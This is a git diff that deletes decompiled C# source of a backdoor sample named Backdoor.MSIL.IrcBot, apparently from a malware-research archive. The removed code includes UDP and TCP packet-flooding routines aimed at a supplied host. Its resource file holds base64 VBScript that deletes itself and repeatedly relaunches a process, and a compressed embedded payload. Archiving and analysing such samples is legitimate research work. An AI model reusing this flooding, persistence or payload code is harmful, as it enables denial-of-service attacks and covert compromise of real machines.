memoryStream = new MemoryStream(); - byte[] bytes = Encoding.Default.GetBytes(s); - memoryStream.Write(bytes, 0, bytes.Length); - byte[] Byt = B; - bool flag = true; - ref bool local = ref flag; - byte[] buffer = API.ZIP(Byt, ref local); - memoryStream.Write(buffer, 0, buffer.Length); - return memoryStream.ToArray(); - } - - public static string _P(ref int y) - { - IND.pk = ""; - int num = y; - for (int index = 0; index <= num; ++index) - IND.pk += "A"; - return IND.pk; - } - - public static void Du(Array z) - { - byte[] numArray = new byte[0]; - Encoding ascii = Encoding.ASCII; - int y = 1000; - string s = IND._P(ref y); - byte[] bytes = ascii.GetBytes(s); - try - { - TcpClient tcpClient = new TcpClient(); - Socket client = tcpClient.Client; - object[] objArray1 = new object[2]; - object[] objArray2 = objArray1; - Array Instance1 = z; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - int num1 = 0; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - objArray4[0] = (object) local1; - object[] Arguments1 = objArray3; - object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null)); - objArray2[0] = objectValue1; - object[] objArray5 = objArray1; - Array Instance2 = z; - object[] objArray6 = new object[1]; - object[] objArray7 = objArray6; - int num2 = 1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - objArray7[0] = (object) local2; - object[] Arguments2 = objArray6; - object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null)); - objArray5[1] = objectValue2; - object[] objArray8 = objArray1; - object[] Arguments3 = objArray8; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) z, new object[2] - { - (object) num1, - RuntimeHelpers.GetObjectValue(objArray8[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - NewLateBinding.LateIndexSetComplex((object) z, new object[2] - { - (object) num2, - RuntimeHelpers.GetObjectValue(objArray8[1]) - }, (string[]) null, true, false); - tcpClient.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) z, new object[1] - { - (object) 2 - }, (string[]) null)); - for (int index = 0; index <= integer; ++index) - { - UdpClient udpClient = new UdpClient(); - try - { - UdpClient Instance3 = udpClient; - object[] objArray9 = new object[2]; - object[] objArray10 = objArray9; - Array Instance4 = z; - object[] objArray11 = new object[1]; - object[] objArray12 = objArray11; - int num3 = 0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - objArray12[0] = (object) local3; - object[] Arguments4 = objArray11; - object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null)); - objArray10[0] = objectValue3; - object[] objArray13 = objArray9; - Array Instance5 = z; - object[] objArray14 = new object[1]; - object[] objArray15 = objArray14; - int num4 = 1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - objArray15[0] = (object) local4; - object[] Arguments5 = objArray14; - object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null)); - objArray13[1] = objectValue4; - object[] objArray16 = objArray9; - object[] Arguments6 = objArray16; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) z, new object[2] - { - (object) num3, - RuntimeHelpers.GetObjectValue(objArray16[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - NewLateBinding.LateIndexSetComplex((object) z, new object[2] - { - (object) num4, - RuntimeHelpers.GetObjectValue(objArray16[1]) - }, (string[]) null, true, false); - udpClient.Client.SendTimeout = 500; - udpClient.Client.Send(bytes, bytes.Length, SocketFlags.None); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void DT(Array Z) - { - byte[] numArray = new byte[0]; - Encoding ascii = Encoding.ASCII; - int y = 1000; - string s = IND._P(ref y); - byte[] bytes = ascii.GetBytes(s); - try - { - TcpClient tcpClient = new TcpClient(); - Socket client = tcpClient.Client; - object[] objArray1 = new object[2]; - object[] objArray2 = objArray1; - Array Instance1 = Z; - object[] objArray3 = new object[1]; - object[] objArray4 = objArray3; - int num1 = 0; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - objArray4[0] = (object) local1; - object[] Arguments1 = objArray3; - object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null)); - objArray2[0] = objectValue1; - object[] objArray5 = objArray1; - Array Instance2 = Z; - object[] objArray6 = new object[1]; - object[] objArray7 = objArray6; - int num2 = 1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - objArray7[0] = (object) local2; - object[] Arguments2 = objArray6; - object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null)); - objArray5[1] = objectValue2; - object[] objArray8 = objArray1; - object[] Arguments3 = objArray8; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Z, new object[2] - { - (object) num1, - RuntimeHelpers.GetObjectValue(objArray8[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - NewLateBinding.LateIndexSetComplex((object) Z, new object[2] - { - (object) num2, - RuntimeHelpers.GetObjectValue(objArray8[1]) - }, (string[]) null, true, false); - tcpClient.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Z, new object[1] - { - (object) 2 - }, (string[]) null)); - for (int index = 0; index <= integer; ++index) - { - TcpClient tcpClient = new TcpClient(); - try - { - TcpClient Instance3 = tcpClient; - object[] objArray9 = new object[2]; - object[] objArray10 = objArray9; - Array Instance4 = Z; - object[] objArray11 = new object[1]; - object[] objArray12 = objArray11; - int num3 = 0; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) num3; - objArray12[0] = (object) local3; - object[] Arguments4 = objArray11; - object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null)); - objArray10[0] = objectValue3; - object[] objArray13 = objArray9; - Array Instance5 = Z; - object[] objArray14 = new object[1]; - object[] objArray15 = objArray14; - int num4 = 1; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) num4; - objArray15[0] = (object) local4; - object[] Arguments5 = objArray14; - object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null)); - objArray13[1] = objectValue4; - object[] objArray16 = objArray9; - object[] Arguments6 = objArray16; - bool[] flagArray = new bool[2]{ true, true }; - bool[] CopyBack = flagArray; - NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true); - if (flagArray[0]) - NewLateBinding.LateIndexSetComplex((object) Z, new object[2] - { - (object) num3, - RuntimeHelpers.GetObjectValue(objArray16[0]) - }, (string[]) null, true, false); - if (flagArray[1]) - NewLateBinding.LateIndexSetComplex((object) Z, new object[2] - { - (object) num4, - RuntimeHelpers.GetObjectValue(objArray16[1]) - }, (string[]) null, true, false); - tcpClient.Client.SendTimeout = 500; - tcpClient.Client.Send(bytes, bytes.Length, SocketFlags.None); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public delegate void indd(string T); - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyApplication.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyApplication.cs deleted file mode 100644 index b94efed6..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyApplication -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace n.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyComputer.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyComputer.cs deleted file mode 100644 index 9797a4fc..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyComputer -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace n.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyProject.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyProject.cs deleted file mode 100644 index 9fe45fbe..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MyProject.cs +++ /dev/null @@ -1,225 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyProject -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace n.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public B m_B; - public chat m_chat; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public B B - { - get - { - this.m_B = MyProject.MyForms.Create__Instance__(this.m_B); - return this.m_B; - } - set - { - if (value == this.m_B) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_B); - } - } - - public chat chat - { - get - { - this.m_chat = MyProject.MyForms.Create__Instance__(this.m_chat); - return this.m_chat; - } - set - { - if (value == this.m_chat) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_chat); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettings.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettings.cs deleted file mode 100644 index 5d41a070..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettings.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MySettings -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace n.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettingsProperty.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettingsProperty.cs deleted file mode 100644 index 926eb3f6..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MySettingsProperty -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace n.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/Resources/Resources.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/Resources/Resources.cs deleted file mode 100644 index b79d0b6e..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/My/Resources/Resources.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.Resources.Resources -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace n.My.Resources -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) n.My.Resources.Resources.resourceMan, (object) null)) - n.My.Resources.Resources.resourceMan = new ResourceManager("n.Resources", typeof (n.My.Resources.Resources).Assembly); - return n.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => n.My.Resources.Resources.resourceCulture; - set => n.My.Resources.Resources.resourceCulture = value; - } - - internal static byte[] P => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (P), n.My.Resources.Resources.resourceCulture)); - - internal static byte[] plugin => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (plugin), n.My.Resources.Resources.resourceCulture)); - - internal static string Q => n.My.Resources.Resources.ResourceManager.GetString(nameof (Q), n.My.Resources.Resources.resourceCulture); - - internal static string W => n.My.Resources.Resources.ResourceManager.GetString(nameof (W), n.My.Resources.Resources.resourceCulture); - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Resources.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Resources.resx deleted file mode 100644 index 01d19c56..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Resources.resx +++ /dev/null @@ -1,572 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCB0dCA9IGdldG9iamVjdCgid2lubWdtdHM6IikNCkRpbSBGDQpGID0gIk5KIg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGFGaWxlID0gZnNvLkdldEZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSkNCmFGaWxlLkRlbGV0ZQ0Kc2V0IGFmID0gZnNvLkdldEZpbGUoRikNCmFmLmRlbGV0ZQ== - - - b24gZXJyb3IgcmVzdW1lIG5leHQNCmtrDQpzZXQgdHQgPSBnZXRvYmplY3QoIndpbm1nbXRzOiIpDQpEaW0gRg0KRGltIFANCkYgPSAiTkpQIg0KUCA9IE5KRg0Kc2V0IG5qbj0gY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCkRvIFVudGlsIDE9Mg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpwcA0KbG9vcA0Kc3ViIHBwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZm9yIGVhY2ggUHJvY2VzcyBpbiB0dC5JbnN0YW5jZXNPZigiV2luMzJfcHJvY2VzcyIpDQppZiBQcm9jZXNzLnByb2Nlc3NpZCA9IHAgdGhlbg0KZXhpdCBzdWINCmVuZCBpZg0KTmV4dA0KbmpuLnJ1bihmKQ0KV1NjcmlwdC5RdWl0DQplbmQgc3ViDQpzdWIga2sNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpTZXQgZnNvID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpDQpTZXQgYUZpbGUgPSBmc28uR2V0RmlsZShXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KYUZpbGUuRGVsZXRlDQplbmQgc3Vi - - - - - H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd - ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Ir74qT/p1/i1f41f - 49f4dej///f//Wv8Gn/XryHP76k/Nz1/EP3/N/ld/p7f5Nf4237sn/9d/65f8/k//7u+mRdNuqqrizpb - pNNsuazadJKn9XqZFsv06Zev00U1y8e/8W+c/G4K4+Xpr/FrPP81f+1f4+/4g/6b5wbuf/Rr/Fq/5m/4 - a/4Gv8avsfNrCGL0/AUv6J+U/v8H4K/fU37/tezX9uev8RfJ578G//g9//Bf49f4zfh/7qf9wc9Tgvtd - /PIHhJ/b5w/6NX6N3yj2+U1P+mv8Gr+B9+dvQH9/2/t73ObvWvr5l42lLY9V8TYPffwHjOumnv4aitsf - oG32wna/J/1vXOdlNVVc/yBtt99r9yT8hJq+kJ/f/jXwyq/7a/zyhzQnv9Wv8Wv8mvT3r/tr/Bq/Xrf9 - Tc8v+G3+IHr11/nWb7nz6zCa9Mdv/mttEYclv9bPJPTFb/PbbP06+OO3++Ppr18z+fV+m5parP6SX++3 - rX9X/vlLfmO8/Wv8Gr/jzq/1a/wRvwYP4zdv6J9f7zdqfgf69zf+sd/glxB2v86P/e7/16//O9LfDeGY - NIRlkvx6v17169PP34C++fXwzW+Ab36M/vkNf/2K+kq2fkP8Q/RJftwg++lvJR/+xvjnN6F/qt+U/vkP - ftPffes3o5+/5a+z9Zvjz19j67egH4TTr8nEffZrfPKLfo3flN77NX/HnV/71/gz6RMa3W++9VvijV/3 - t/ktf51Ppr/5r/ub/zp/TvK7JFu/FUb6izGi3/LX/21+y1/vk8Pf/Nf/zX+9P+c3/PWq35q++PV/m63f - hn78Nvd+l1+v+m3pl9/hHo3gt0OHv4n0/xtp97/5r/fb/hu/5a/3m/96v/mv/yf8nXt//2/+69Bfv85v - /uv85r8u/fWnm7a/sbZN/yjCg/s9+On/+//+v7/1a/yavx1wfvxr/OZf/Bq/yW8o0/prXF/L77/jzq// - a/wtvz7Lzm/+SzFro1/34C+nv9Nf/msqEMD+9ZLf6rf8LX6L36K+T/PzW/6Wv8VvuUXE/PW2fnt8Sy/+ - er/t//Vr1r+Yvtr6HTCYP6eiWaEXfqvf4reSF37r3+K3lhd+J/r893/4v1P3v9Vv+dv8Fr+NfPvb/ha/ - LX/7G/4Wv9b/9VsTtF/r1/8tfq0tmoNf7xf+WrbBr/fb/vGEzq/5W/4Ov/nv8Nv89r/lb/+b//Z/HFHv - 1/xLfvPf4bfa+p2BxC8A4Qni78wc9Vv+dr/5b/fb/Ba/1i8mxH+drd+FvvpLfvPf7ret/1jw1m/+2/12 - 9MVv4X3x25svfgf64jf3vvgdzRe/E33xW3pfbKX0k7/8rX+brd8VPf9Ov8XvVBGr/Xq/3m8naP6Ov/nv - +NtYHH/H3/Y3/23o39/qt/1ttj7yZtbM1m+F8dV/IgZKA+gS9vf8P5hYREFpQjTlJr/lr/Nb/LpCrd+c - fjPk+hM75AIePrl+xw3k+nWHyPXrDpHr1x0i16/7nuTCrLopZXL9DoZcQp6/+2by/N0BeX693+LXV/LQ - b4Y8f/cHkOfXHyLPrz9Enl9/iDy//jdOnn9zgDwklr+sJ5Yg1r/pE0vFUkhJwi3fkrgLKX+D3+LHlJT0 - 